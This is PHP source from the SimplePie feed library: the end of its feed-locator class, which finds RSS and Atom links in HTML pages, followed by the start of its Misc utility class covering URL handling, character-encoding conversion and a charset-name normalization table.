			return array_values($feeds);
		}

		return null;
	}

	protected function search_elements_by_tag($name, &$done, $feeds)
	{
		if ($this->dom === null)
		{
			throw new SimplePie_Exception('DOMDocument not found, unable to use locator');
		}

		$links = $this->dom->getElementsByTagName($name);
		foreach ($links as $link)
		{
			if ($this->checked_feeds === $this->max_checked_feeds)
			{
				break;
			}
			if ($link->hasAttribute('href') && $link->hasAttribute('rel'))
			{
				$rel = array_unique($this->registry->call('Misc', 'space_separated_tokens', array(strtolower($link->getAttribute('rel')))));
				$line = method_exists($link, 'getLineNo') ? $link->getLineNo() : 1;

				if ($this->base_location < $line)
				{
					$href = $this->registry->call('Misc', 'absolutize_url', array(trim($link->getAttribute('href')), $this->base));
				}
				else
				{
					$href = $this->registry->call('Misc', 'absolutize_url', array(trim($link->getAttribute('href')), $this->http_base));
				}
				if ($href === false)
				{
					continue;
				}

				if (!in_array($href, $done) && in_array('feed', $rel) || (in_array('alternate', $rel) && !in_array('stylesheet', $rel) && $link->hasAttribute('type') && in_array(strtolower($this->registry->call('Misc', 'parse_mime', array($link->getAttribute('type')))), array('text/html', 'application/rss+xml', 'application/atom+xml'))) && !isset($feeds[$href]))
				{
					$this->checked_feeds++;
					$headers = array(
						'Accept' => 'application/atom+xml, application/rss+xml, application/rdf+xml;q=0.9, application/xml;q=0.8, text/xml;q=0.8, text/html;q=0.7, unknown/unknown;q=0.1, application/unknown;q=0.1, */*;q=0.1',
					);
					$feed = $this->registry->create('File', array($href, $this->timeout, 5, $headers, $this->useragent, $this->force_fsockopen, $this->curl_options));
					if ($feed->success && ($feed->method & SIMPLEPIE_FILE_SOURCE_REMOTE === 0 || ($feed->status_code === 200 || $feed->status_code > 206 && $feed->status_code < 300)) && $this->is_feed($feed, true))
					{
						$feeds[$href] = $feed;
					}
				}
				$done[] = $href;
			}
		}

		return $feeds;
	}

	public function get_links()
	{
		if ($this->dom === null)
		{
			throw new SimplePie_Exception('DOMDocument not found, unable to use locator');
		}

		$links = $this->dom->getElementsByTagName('a');
		foreach ($links as $link)
		{
			if ($link->hasAttribute('href'))
			{
				$href = trim($link->getAttribute('href'));
				$parsed = $this->registry->call('Misc', 'parse_url', array($href));
				if ($parsed['scheme'] === '' || preg_match('/^(https?|feed)?$/i', $parsed['scheme']))
				{
					if (method_exists($link, 'getLineNo') && $this->base_location < $link->getLineNo())
					{
						$href = $this->registry->call('Misc', 'absolutize_url', array(trim($link->getAttribute('href')), $this->base));
					}
					else
					{
						$href = $this->registry->call('Misc', 'absolutize_url', array(trim($link->getAttribute('href')), $this->http_base));
					}
					if ($href === false)
					{
						continue;
					}

					$current = $this->registry->call('Misc', 'parse_url', array($this->file->url));

					if ($parsed['authority'] === '' || $parsed['authority'] === $current['authority'])
					{
						$this->local[] = $href;
					}
					else
					{
						$this->elsewhere[] = $href;
					}
				}
			}
		}
		$this->local = array_unique($this->local);
		$this->elsewhere = array_unique($this->elsewhere);
		if (!empty($this->local) || !empty($this->elsewhere))
		{
			return true;
		}
		return null;
	}

	public function get_rel_link($rel)
	{
		if ($this->dom === null)
		{
			throw new SimplePie_Exception('DOMDocument not found, unable to use '.
			                              'locator');
		}
		if (!class_exists('DOMXpath'))
		{
			throw new SimplePie_Exception('DOMXpath not found, unable to use '.
			                              'get_rel_link');
		}

		$xpath = new DOMXpath($this->dom);
		$query = '//a[@rel and @href] | //link[@rel and @href]';
		foreach ($xpath->query($query) as $link)
		{
			$href = trim($link->getAttribute('href'));
			$parsed = $this->registry->call('Misc', 'parse_url', array($href));
			if ($parsed['scheme'] === '' ||
			    preg_match('/^https?$/i', $parsed['scheme']))
			{
				if (method_exists($link, 'getLineNo') &&
				    $this->base_location < $link->getLineNo())
				{
					$href =
						$this->registry->call('Misc', 'absolutize_url',
						                      array(trim($link->getAttribute('href')),
						                            $this->base));
				}
				else
				{
					$href =
						$this->registry->call('Misc', 'absolutize_url',
						                      array(trim($link->getAttribute('href')),
						                            $this->http_base));
				}
				if ($href === false)
				{
					return null;
				}
				$rel_values = explode(' ', strtolower($link->getAttribute('rel')));
				if (in_array($rel, $rel_values))
				{
					return $href;
				}
			}
		}
		return null;
	}

	public function extension(&$array)
	{
		foreach ($array as $key => $value)
		{
			if ($this->checked_feeds === $this->max_checked_feeds)
			{
				break;
			}
			if (in_array(strtolower(strrchr($value, '.')), array('.rss', '.rdf', '.atom', '.xml')))
			{
				$this->checked_feeds++;

				$headers = array(
					'Accept' => 'application/atom+xml, application/rss+xml, application/rdf+xml;q=0.9, application/xml;q=0.8, text/xml;q=0.8, text/html;q=0.7, unknown/unknown;q=0.1, application/unknown;q=0.1, */*;q=0.1',
				);
				$feed = $this->registry->create('File', array($value, $this->timeout, 5, $headers, $this->useragent, $this->force_fsockopen, $this->curl_options));
				if ($feed->success && ($feed->method & SIMPLEPIE_FILE_SOURCE_REMOTE === 0 || ($feed->status_code === 200 || $feed->status_code > 206 && $feed->status_code < 300)) && $this->is_feed($feed))
				{
					return array($feed);
				}
				else
				{
					unset($array[$key]);
				}
			}
		}
		return null;
	}

	public function body(&$array)
	{
		foreach ($array as $key => $value)
		{
			if ($this->checked_feeds === $this->max_checked_feeds)
			{
				break;
			}
			if (preg_match('/(feed|rss|rdf|atom|xml)/i', $value))
			{
				$this->checked_feeds++;
				$headers = array(
					'Accept' => 'application/atom+xml, application/rss+xml, application/rdf+xml;q=0.9, application/xml;q=0.8, text/xml;q=0.8, text/html;q=0.7, unknown/unknown;q=0.1, application/unknown;q=0.1, */*;q=0.1',
				);
				$feed = $this->registry->create('File', array($value, $this->timeout, 5, null, $this->useragent, $this->force_fsockopen, $this->curl_options));
				if ($feed->success && ($feed->method & SIMPLEPIE_FILE_SOURCE_REMOTE === 0 || ($feed->status_code === 200 || $feed->status_code > 206 && $feed->status_code < 300)) && $this->is_feed($feed))
				{
					return array($feed);
				}
				else
				{
					unset($array[$key]);
				}
			}
		}
		return null;
	}
}
<?php
/**
 * SimplePie
 *
 * A PHP-Based RSS and Atom Feed Framework.
 * Takes the hard work out of managing a complete RSS/Atom solution.
 *
 * Copyright (c) 2004-2016, Ryan Parman, Sam Sneddon, Ryan McCue, and contributors
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without modification, are
 * permitted provided that the following conditions are met:
 *
 * 	* Redistributions of source code must retain the above copyright notice, this list of
 * 	  conditions and the following disclaimer.
 *
 * 	* Redistributions in binary form must reproduce the above copyright notice, this list
 * 	  of conditions and the following disclaimer in the documentation and/or other materials
 * 	  provided with the distribution.
 *
 * 	* Neither the name of the SimplePie Team nor the names of its contributors may be used
 * 	  to endorse or promote products derived from this software without specific prior
 * 	  written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS
 * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY
 * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS
 * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
 * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
 * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
 * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
 * POSSIBILITY OF SUCH DAMAGE.
 *
 * @package SimplePie
 * @copyright 2004-2016 Ryan Parman, Sam Sneddon, Ryan McCue
 * @author Ryan Parman
 * @author Sam Sneddon
 * @author Ryan McCue
 * @link http://simplepie.org/ SimplePie
 * @license http://www.opensource.org/licenses/bsd-license.php BSD License
 */

/**
 * Miscellanous utilities
 *
 * @package SimplePie
 */
class SimplePie_Misc
{
	public static function time_hms($seconds)
	{
		$time = '';

		$hours = floor($seconds / 3600);
		$remainder = $seconds % 3600;
		if ($hours > 0)
		{
			$time .= $hours.':';
		}

		$minutes = floor($remainder / 60);
		$seconds = $remainder % 60;
		if ($minutes < 10 && $hours > 0)
		{
			$minutes = '0' . $minutes;
		}
		if ($seconds < 10)
		{
			$seconds = '0' . $seconds;
		}

		$time .= $minutes.':';
		$time .= $seconds;

		return $time;
	}

	public static function absolutize_url($relative, $base)
	{
		$iri = SimplePie_IRI::absolutize(new SimplePie_IRI($base), $relative);
		if ($iri === false)
		{
			return false;
		}
		return $iri->get_uri();
	}

	/**
	 * Get a HTML/XML element from a HTML string
	 *
	 * @deprecated Use DOMDocument instead (parsing HTML with regex is bad!)
	 * @param string $realname Element name (including namespace prefix if applicable)
	 * @param string $string HTML document
	 * @return array
	 */
	public static function get_element($realname, $string)
	{
		$return = array();
		$name = preg_quote($realname, '/');
		if (preg_match_all("/<($name)" . SIMPLEPIE_PCRE_HTML_ATTRIBUTE . "(>(.*)<\/$name>|(\/)?>)/siU", $string, $matches, PREG_SET_ORDER | PREG_OFFSET_CAPTURE))
		{
			for ($i = 0, $total_matches = count($matches); $i < $total_matches; $i++)
			{
				$return[$i]['tag'] = $realname;
				$return[$i]['full'] = $matches[$i][0][0];
				$return[$i]['offset'] = $matches[$i][0][1];
				if (strlen($matches[$i][3][0]) <= 2)
				{
					$return[$i]['self_closing'] = true;
				}
				else
				{
					$return[$i]['self_closing'] = false;
					$return[$i]['content'] = $matches[$i][4][0];
				}
				$return[$i]['attribs'] = array();
				if (isset($matches[$i][2][0]) && preg_match_all('/[\x09\x0A\x0B\x0C\x0D\x20]+([^\x09\x0A\x0B\x0C\x0D\x20\x2F\x3E][^\x09\x0A\x0B\x0C\x0D\x20\x2F\x3D\x3E]*)(?:[\x09\x0A\x0B\x0C\x0D\x20]*=[\x09\x0A\x0B\x0C\x0D\x20]*(?:"([^"]*)"|\'([^\']*)\'|([^\x09\x0A\x0B\x0C\x0D\x20\x22\x27\x3E][^\x09\x0A\x0B\x0C\x0D\x20\x3E]*)?))?/', ' ' . $matches[$i][2][0] . ' ', $attribs, PREG_SET_ORDER))
				{
					for ($j = 0, $total_attribs = count($attribs); $j < $total_attribs; $j++)
					{
						if (count($attribs[$j]) === 2)
						{
							$attribs[$j][2] = $attribs[$j][1];
						}
						$return[$i]['attribs'][strtolower($attribs[$j][1])]['data'] = SimplePie_Misc::entities_decode(end($attribs[$j]));
					}
				}
			}
		}
		return $return;
	}

	public static function element_implode($element)
	{
		$full = "<$element[tag]";
		foreach ($element['attribs'] as $key => $value)
		{
			$key = strtolower($key);
			$full .= " $key=\"" . htmlspecialchars($value['data'], ENT_COMPAT, 'UTF-8') . '"';
		}
		if ($element['self_closing'])
		{
			$full .= ' />';
		}
		else
		{
			$full .= ">$element[content]</$element[tag]>";
		}
		return $full;
	}

	public static function error($message, $level, $file, $line)
	{
		if ((ini_get('error_reporting') & $level) > 0)
		{
			switch ($level)
			{
				case E_USER_ERROR:
					$note = 'PHP Error';
					break;
				case E_USER_WARNING:
					$note = 'PHP Warning';
					break;
				case E_USER_NOTICE:
					$note = 'PHP Notice';
					break;
				default:
					$note = 'Unknown Error';
					break;
			}

			$log_error = true;
			if (!function_exists('error_log'))
			{
				$log_error = false;
			}

			$log_file = @ini_get('error_log');
			if (!empty($log_file) && ('syslog' !== $log_file) && !@is_writable($log_file))
			{
				$log_error = false;
			}

			if ($log_error)
			{
				@error_log("$note: $message in $file on line $line", 0);
			}
		}

		return $message;
	}

	public static function fix_protocol($url, $http = 1)
	{
		$url = SimplePie_Misc::normalize_url($url);
		$parsed = SimplePie_Misc::parse_url($url);
		if ($parsed['scheme'] !== '' && $parsed['scheme'] !== 'http' && $parsed['scheme'] !== 'https')
		{
			return SimplePie_Misc::fix_protocol(SimplePie_Misc::compress_parse_url('http', $parsed['authority'], $parsed['path'], $parsed['query'], $parsed['fragment']), $http);
		}

		if ($parsed['scheme'] === '' && $parsed['authority'] === '' && !file_exists($url))
		{
			return SimplePie_Misc::fix_protocol(SimplePie_Misc::compress_parse_url('http', $parsed['path'], '', $parsed['query'], $parsed['fragment']), $http);
		}

		if ($http === 2 && $parsed['scheme'] !== '')
		{
			return "feed:$url";
		}
		elseif ($http === 3 && strtolower($parsed['scheme']) === 'http')
		{
			return substr_replace($url, 'podcast', 0, 4);
		}
		elseif ($http === 4 && strtolower($parsed['scheme']) === 'http')
		{
			return substr_replace($url, 'itpc', 0, 4);
		}

		return $url;
	}

	public static function array_merge_recursive($array1, $array2)
	{
		foreach ($array2 as $key => $value)
		{
			if (is_array($value))
			{
				$array1[$key] = SimplePie_Misc::array_merge_recursive($array1[$key], $value);
			}
			else
			{
				$array1[$key] = $value;
			}
		}

		return $array1;
	}

	public static function parse_url($url)
	{
		$iri = new SimplePie_IRI($url);
		return array(
			'scheme' => (string) $iri->scheme,
			'authority' => (string) $iri->authority,
			'path' => (string) $iri->path,
			'query' => (string) $iri->query,
			'fragment' => (string) $iri->fragment
		);
	}

	public static function compress_parse_url($scheme = '', $authority = '', $path = '', $query = '', $fragment = '')
	{
		$iri = new SimplePie_IRI('');
		$iri->scheme = $scheme;
		$iri->authority = $authority;
		$iri->path = $path;
		$iri->query = $query;
		$iri->fragment = $fragment;
		return $iri->get_uri();
	}

	public static function normalize_url($url)
	{
		$iri = new SimplePie_IRI($url);
		return $iri->get_uri();
	}

	public static function percent_encoding_normalization($match)
	{
		$integer = hexdec($match[1]);
		if ($integer >= 0x41 && $integer <= 0x5A || $integer >= 0x61 && $integer <= 0x7A || $integer >= 0x30 && $integer <= 0x39 || $integer === 0x2D || $integer === 0x2E || $integer === 0x5F || $integer === 0x7E)
		{
			return chr($integer);
		}

		return strtoupper($match[0]);
	}

	/**
	 * Converts a Windows-1252 encoded string to a UTF-8 encoded string
	 *
	 * @static
	 * @param string $string Windows-1252 encoded string
	 * @return string UTF-8 encoded string
	 */
	public static function windows_1252_to_utf8($string)
	{
		static $convert_table = array("\x80" => "\xE2\x82\xAC", "\x81" => "\xEF\xBF\xBD", "\x82" => "\xE2\x80\x9A", "\x83" => "\xC6\x92", "\x84" => "\xE2\x80\x9E", "\x85" => "\xE2\x80\xA6", "\x86" => "\xE2\x80\xA0", "\x87" => "\xE2\x80\xA1", "\x88" => "\xCB\x86", "\x89" => "\xE2\x80\xB0", "\x8A" => "\xC5\xA0", "\x8B" => "\xE2\x80\xB9", "\x8C" => "\xC5\x92", "\x8D" => "\xEF\xBF\xBD", "\x8E" => "\xC5\xBD", "\x8F" => "\xEF\xBF\xBD", "\x90" => "\xEF\xBF\xBD", "\x91" => "\xE2\x80\x98", "\x92" => "\xE2\x80\x99", "\x93" => "\xE2\x80\x9C", "\x94" => "\xE2\x80\x9D", "\x95" => "\xE2\x80\xA2", "\x96" => "\xE2\x80\x93", "\x97" => "\xE2\x80\x94", "\x98" => "\xCB\x9C", "\x99" => "\xE2\x84\xA2", "\x9A" => "\xC5\xA1", "\x9B" => "\xE2\x80\xBA", "\x9C" => "\xC5\x93", "\x9D" => "\xEF\xBF\xBD", "\x9E" => "\xC5\xBE", "\x9F" => "\xC5\xB8", "\xA0" => "\xC2\xA0", "\xA1" => "\xC2\xA1", "\xA2" => "\xC2\xA2", "\xA3" => "\xC2\xA3", "\xA4" => "\xC2\xA4", "\xA5" => "\xC2\xA5", "\xA6" => "\xC2\xA6", "\xA7" => "\xC2\xA7", "\xA8" => "\xC2\xA8", "\xA9" => "\xC2\xA9", "\xAA" => "\xC2\xAA", "\xAB" => "\xC2\xAB", "\xAC" => "\xC2\xAC", "\xAD" => "\xC2\xAD", "\xAE" => "\xC2\xAE", "\xAF" => "\xC2\xAF", "\xB0" => "\xC2\xB0", "\xB1" => "\xC2\xB1", "\xB2" => "\xC2\xB2", "\xB3" => "\xC2\xB3", "\xB4" => "\xC2\xB4", "\xB5" => "\xC2\xB5", "\xB6" => "\xC2\xB6", "\xB7" => "\xC2\xB7", "\xB8" => "\xC2\xB8", "\xB9" => "\xC2\xB9", "\xBA" => "\xC2\xBA", "\xBB" => "\xC2\xBB", "\xBC" => "\xC2\xBC", "\xBD" => "\xC2\xBD", "\xBE" => "\xC2\xBE", "\xBF" => "\xC2\xBF", "\xC0" => "\xC3\x80", "\xC1" => "\xC3\x81", "\xC2" => "\xC3\x82", "\xC3" => "\xC3\x83", "\xC4" => "\xC3\x84", "\xC5" => "\xC3\x85", "\xC6" => "\xC3\x86", "\xC7" => "\xC3\x87", "\xC8" => "\xC3\x88", "\xC9" => "\xC3\x89", "\xCA" => "\xC3\x8A", "\xCB" => "\xC3\x8B", "\xCC" => "\xC3\x8C", "\xCD" => "\xC3\x8D", "\xCE" => "\xC3\x8E", "\xCF" => "\xC3\x8F", "\xD0" => "\xC3\x90", "\xD1" => "\xC3\x91", "\xD2" => "\xC3\x92", "\xD3" => "\xC3\x93", "\xD4" => "\xC3\x94", "\xD5" => "\xC3\x95", "\xD6" => "\xC3\x96", "\xD7" => "\xC3\x97", "\xD8" => "\xC3\x98", "\xD9" => "\xC3\x99", "\xDA" => "\xC3\x9A", "\xDB" => "\xC3\x9B", "\xDC" => "\xC3\x9C", "\xDD" => "\xC3\x9D", "\xDE" => "\xC3\x9E", "\xDF" => "\xC3\x9F", "\xE0" => "\xC3\xA0", "\xE1" => "\xC3\xA1", "\xE2" => "\xC3\xA2", "\xE3" => "\xC3\xA3", "\xE4" => "\xC3\xA4", "\xE5" => "\xC3\xA5", "\xE6" => "\xC3\xA6", "\xE7" => "\xC3\xA7", "\xE8" => "\xC3\xA8", "\xE9" => "\xC3\xA9", "\xEA" => "\xC3\xAA", "\xEB" => "\xC3\xAB", "\xEC" => "\xC3\xAC", "\xED" => "\xC3\xAD", "\xEE" => "\xC3\xAE", "\xEF" => "\xC3\xAF", "\xF0" => "\xC3\xB0", "\xF1" => "\xC3\xB1", "\xF2" => "\xC3\xB2", "\xF3" => "\xC3\xB3", "\xF4" => "\xC3\xB4", "\xF5" => "\xC3\xB5", "\xF6" => "\xC3\xB6", "\xF7" => "\xC3\xB7", "\xF8" => "\xC3\xB8", "\xF9" => "\xC3\xB9", "\xFA" => "\xC3\xBA", "\xFB" => "\xC3\xBB", "\xFC" => "\xC3\xBC", "\xFD" => "\xC3\xBD", "\xFE" => "\xC3\xBE", "\xFF" => "\xC3\xBF");

		return strtr($string, $convert_table);
	}

	/**
	 * Change a string from one encoding to another
	 *
	 * @param string $data Raw data in $input encoding
	 * @param string $input Encoding of $data
	 * @param string $output Encoding you want
	 * @return string|boolean False if we can't convert it
	 */
	public static function change_encoding($data, $input, $output)
	{
		$input = SimplePie_Misc::encoding($input);
		$output = SimplePie_Misc::encoding($output);

		// We fail to fail on non US-ASCII bytes
		if ($input === 'US-ASCII')
		{
			static $non_ascii_octects = '';
			if (!$non_ascii_octects)
			{
				for ($i = 0x80; $i <= 0xFF; $i++)
				{
					$non_ascii_octects .= chr($i);
				}
			}
			$data = substr($data, 0, strcspn($data, $non_ascii_octects));
		}

		// This is first, as behaviour of this is completely predictable
		if ($input === 'windows-1252' && $output === 'UTF-8')
		{
			return SimplePie_Misc::windows_1252_to_utf8($data);
		}
		// This is second, as behaviour of this varies only with PHP version (the middle part of this expression checks the encoding is supported).
		elseif (function_exists('mb_convert_encoding') && ($return = SimplePie_Misc::change_encoding_mbstring($data, $input, $output)))
		{
			return $return;
 		}
		// This is third, as behaviour of this varies with OS userland and PHP version
		elseif (function_exists('iconv') && ($return = SimplePie_Misc::change_encoding_iconv($data, $input, $output)))
		{
			return $return;
		}
		// This is last, as behaviour of this varies with OS userland and PHP version
		elseif (class_exists('\UConverter') && ($return = SimplePie_Misc::change_encoding_uconverter($data, $input, $output)))
		{
			return $return;
		}

		// If we can't do anything, just fail
		return false;
	}

	protected static function change_encoding_mbstring($data, $input, $output)
	{
		if ($input === 'windows-949')
		{
			$input = 'EUC-KR';
		}
		if ($output === 'windows-949')
		{
			$output = 'EUC-KR';
		}
		if ($input === 'Windows-31J')
		{
			$input = 'SJIS';
		}
		if ($output === 'Windows-31J')
		{
			$output = 'SJIS';
		}

		// Check that the encoding is supported
		if (!in_array($input, mb_list_encodings()))
		{
			return false;
		}

		if (@mb_convert_encoding("\x80", 'UTF-16BE', $input) === "\x00\x80")
		{
			return false;
		}

		// Let's do some conversion
		if ($return = @mb_convert_encoding($data, $output, $input))
		{
			return $return;
		}

		return false;
	}

	protected static function change_encoding_iconv($data, $input, $output)
	{
		return @iconv($input, $output, $data);
	}

	/**
	 * @param string $data
	 * @param string $input
	 * @param string $output
	 * @return string|false
	 */
	protected static function change_encoding_uconverter($data, $input, $output)
	{
		return @\UConverter::transcode($data, $output, $input);
	}

	/**
	 * Normalize an encoding name
	 *
	 * This is automatically generated by create.php
	 *
	 * To generate it, run `php create.php` on the command line, and copy the
	 * output to replace this function.
	 *
	 * @param string $charset Character set to standardise
	 * @return string Standardised name
	 */
	public static function encoding($charset)
	{
		// Normalization from UTS #22
		switch (strtolower(preg_replace('/(?:[^a-zA-Z0-9]+|([^0-9])0+)/', '\1', $charset)))
		{
			case 'adobestandardencoding':
			case 'csadobestandardencoding':
				return 'Adobe-Standard-Encoding';

			case 'adobesymbolencoding':
			case 'cshppsmath':
				return 'Adobe-Symbol-Encoding';

			case 'ami1251':
			case 'amiga1251':
				return 'Amiga-1251';

			case 'ansix31101983':
			case 'csat5001983':
			case 'csiso99naplps':
			case 'isoir99':
			case 'naplps':
				return 'ANSI_X3.110-1983';

			case 'arabic7':
			case 'asmo449':
			case 'csiso89asmo449':
			case 'iso9036':
			case 'isoir89':
				return 'ASMO_449';

			case 'big5':
			case 'csbig5':
				return 'Big5';

			case 'big5hkscs':
				return 'Big5-HKSCS';

			case 'bocu1':
			case 'csbocu1':
				return 'BOCU-1';

			case 'brf':
			case 'csbrf':
				return 'BRF';

			case 'bs4730':
			case 'csiso4unitedkingdom':
			case 'gb':
			case 'iso646gb':
			case 'isoir4':
			case 'uk':
				return 'BS_4730';

			case 'bsviewdata':
			case 'csiso47bsviewdata':
			case 'isoir47':
				return 'BS_viewdata';

			case 'cesu8':
			case 'cscesu8':
				return 'CESU-8';

			case 'ca':
			case 'csa71':
			case 'csaz243419851':
			case 'csiso121canadian1':
			case 'iso646ca':
			case 'isoir121':
				return 'CSA_Z243.4-1985-1';

			case 'csa72':
			case 'csaz243419852':
			case 'csiso122canadian2':
			case 'iso646ca2':
			case 'isoir122':
				return 'CSA_Z243.4-1985-2';

			case 'csaz24341985gr':
			case 'csiso123csaz24341985gr':
			case 'isoir123':
				return 'CSA_Z243.4-1985-gr';

			case 'csiso139csn369103':
			case 'csn369103':
			case 'isoir139':
				return 'CSN_369103';

			case 'csdecmcs':
			case 'dec':
			case 'decmcs':
				return 'DEC-MCS';

			case 'csiso21german':
			case 'de':
			case 'din66003':
			case 'iso646de':
			case 'isoir21':
				return 'DIN_66003';

			case 'csdkus':
			case 'dkus':
				return 'dk-us';

			case 'csiso646danish':
			case 'dk':
			case 'ds2089':
			case 'iso646dk':
				return 'DS_2089';

			case 'csibmebcdicatde':
			case 'ebcdicatde':
				return 'EBCDIC-AT-DE';

			case 'csebcdicatdea':
			case 'ebcdicatdea':
				return 'EBCDIC-AT-DE-A';

			case 'csebcdiccafr':
			case 'ebcdiccafr':
				return 'EBCDIC-CA-FR';

			case 'csebcdicdkno':
			case 'ebcdicdkno':
				return 'EBCDIC-DK-NO';

			case 'csebcdicdknoa':
			case 'ebcdicdknoa':
				return 'EBCDIC-DK-NO-A';

			case 'csebcdices':
			case 'ebcdices':
				return 'EBCDIC-ES';

			case 'csebcdicesa':
			case 'ebcdicesa':
				return 'EBCDIC-ES-A';

			case 'csebcdicess':
			case 'ebcdicess':
				return 'EBCDIC-ES-S';

			case 'csebcdicfise':
			case 'ebcdicfise':
				return 'EBCDIC-FI-SE';

			case 'csebcdicfisea':
			case 'ebcdicfisea':
				return 'EBCDIC-FI-SE-A';

			case 'csebcdicfr':
			case 'ebcdicfr':
				return 'EBCDIC-FR';

			case 'csebcdicit':
			case 'ebcdicit':
				return 'EBCDIC-IT';

			case 'csebcdicpt':
			case 'ebcdicpt':
				return 'EBCDIC-PT';

			case 'csebcdicuk':
			case 'ebcdicuk':
				return 'EBCDIC-UK';

			case 'csebcdicus':
			case 'ebcdicus':
				return 'EBCDIC-US';

			case 'csiso111ecmacyrillic':
			case 'ecmacyrillic':
			case 'isoir111':
			case 'koi8e':
				return 'ECMA-cyrillic';

			case 'csiso17spanish':
			case 'es':
			case 'iso646es':
			case 'isoir17':
				return 'ES';

			case 'csiso85spanish2':
			case 'es2':
			case 'iso646es2':
			case 'isoir85':
				return 'ES2';

			case 'cseucpkdfmtjapanese':
			case 'eucjp':
			case 'extendedunixcodepackedformatforjapanese':
				return 'EUC-JP';

			case 'cseucfixwidjapanese':
			case 'extendedunixcodefixedwidthforjapanese':
				return 'Extended_UNIX_Code_Fixed_Width_for_Japanese';

			case 'gb18030':
				return 'GB18030';

			case 'chinese':
			case 'cp936':
			case 'csgb2312':
			case 'csiso58gb231280':
			case 'gb2312':
			case 'gb231280':
			case 'gbk':
			case 'isoir58':
			case 'ms936':
			case 'windows936':
				return 'GBK';

			case 'cn':
			case 'csiso57gb1988':
			case 'gb198880':
			case 'iso646cn':
			case 'isoir57':
				return 'GB_1988-80';

			case 'csiso153gost1976874':
			case 'gost1976874':
			case 'isoir153':
			case 'stsev35888':
				return 'GOST_19768-74';

			case 'csiso150':
			case 'csiso150greekccitt':
			case 'greekccitt':
			case 'isoir150':
				return 'greek-ccitt';

			case 'csiso88greek7':
			case 'greek7':
			case 'isoir88':
				return 'greek7';

			case 'csiso18greek7old':
			case 'greek7old':
			case 'isoir18':
				return 'greek7-old';

			case 'cshpdesktop':
			case 'hpdesktop':
				return 'HP-DeskTop';

			case 'cshplegal':
			case 'hplegal':
				return 'HP-Legal';

			case 'cshpmath8':
			case 'hpmath8':
				return 'HP-Math8';

			case 'cshppifont':
			case 'hppifont':
				return 'HP-Pi-font';

			case 'cshproman8':
			case 'hproman8':
			case 'r8':
			case 'roman8':
				return 'hp-roman8';

			case 'hzgb2312':
				return 'HZ-GB-2312';

			case 'csibmsymbols':
			case 'ibmsymbols':
				return 'IBM-Symbols';

			case 'csibmthai':
			case 'ibmthai':
				return 'IBM-Thai';

			case 'cp37':
			case 'csibm37':
			case 'ebcdiccpca':
			case 'ebcdiccpnl':
			case 'ebcdiccpus':
			case 'ebcdiccpwt':
			case 'ibm37':
				return 'IBM037';

			case 'cp38':
			case 'csibm38':
			case 'ebcdicint':
			case 'ibm38':
				return 'IBM038';

			case 'cp273':
			case 'csibm273':
			case 'ibm273':
				return 'IBM273';

			case 'cp274':
			case 'csibm274':
			case 'ebcdicbe':
			case 'ibm274':
				return 'IBM274';

			case 'cp275':
			case 'csibm275':
			case 'ebcdicbr':
			case 'ibm275':
				return 'IBM275';

			case 'csibm277':
			case 'ebcdiccpdk':
			case 'ebcdiccpno':
			case 'ibm277':
				return 'IBM277';

			case 'cp278':
			case 'csibm278':
			case 'ebcdiccpfi':
			case 'ebcdiccpse':
			case 'ibm278':
				return 'IBM278';

			case 'cp280':
			case 'csibm280':
			case 'ebcdiccpit':
			case 'ibm280':
				return 'IBM280';

			case 'cp281':
			case 'csibm281':
			case 'ebcdicjpe':
			case 'ibm281':
				return 'IBM281';

			case 'cp284':
			case 'csibm284':
			case 'ebcdiccpes':
			case 'ibm284':
				return 'IBM284';

			case 'cp285':
			case 'csibm285':
			case 'ebcdiccpgb':
			case 'ibm285':
				return 'IBM285';

			case 'cp290':
			case 'csibm290':
			case 'ebcdicjpkana':
			case 'ibm290':
				return 'IBM290';

			case 'cp297':
			case 'csibm297':
			case 'ebcdiccpfr':
			case 'ibm297':
				return 'IBM297';

			case 'cp420':
			case 'csibm420':
			case 'ebcdiccpar1':
			case 'ibm420':
				return 'IBM420';

			case 'cp423':
			case 'csibm423':
			case 'ebcdiccpgr':
			case 'ibm423':
				return 'IBM423';

			case 'cp424':
			case 'csibm424':
			case 'ebcdiccphe':
			case 'ibm424':
				return 'IBM424';

			case '437':
			case 'cp437':
			case 'cspc8codepage437':
			case 'ibm437':
				return 'IBM437';

			case 'cp500':
			case 'csibm500':
			case 'ebcdiccpbe':
			case 'ebcdiccpch':
			case 'ibm500':
				return 'IBM500';

			case 'cp775':
			case 'cspc775baltic':
			case 'ibm775':
				return 'IBM775';

			case '850':
			case 'cp850':
			case 'cspc850multilingual':
			case 'ibm850':
				return 'IBM850';

			case '851':
			case 'cp851':
			case 'csibm851':
			case 'ibm851':
				return 'IBM851';

			case '852':
			case 'cp852':
			case 'cspcp852':
			case 'ibm852':
				return 'IBM852';

			case '855':
			case 'cp855':
			case 'csibm855':
			case 'ibm855':
				return 'IBM855';

			case '857':
			case 'cp857':
			case 'csibm857':
			case 'ibm857':
				return 'IBM857';

			case 'ccsid858':
			case 'cp858':
			case 'ibm858':
			case 'pcmultilingual850euro':
				return 'IBM00858';

			case '860':
			case 'cp860':
			case 'csibm860':
			case 'ibm860':
				return 'IBM860';

			case '861':
			case 'cp861':
			case 'cpis':
			case 'csibm861':
			case 'ibm861':
				return 'IBM861';

			case '862':
			case 'cp862':
			case 'cspc862latinhebrew':
			case 'ibm862':
				return 'IBM862';

			case '863':
			case 'cp863':
			case 'csibm863':
			case 'ibm863':
				return 'IBM863';

			case 'cp864':
			case 'csibm864':
			case 'ibm864':
				return 'IBM864';

			case '865':
			case 'cp865':
			case 'csibm865':
			case 'ibm865':
				return 'IBM865';

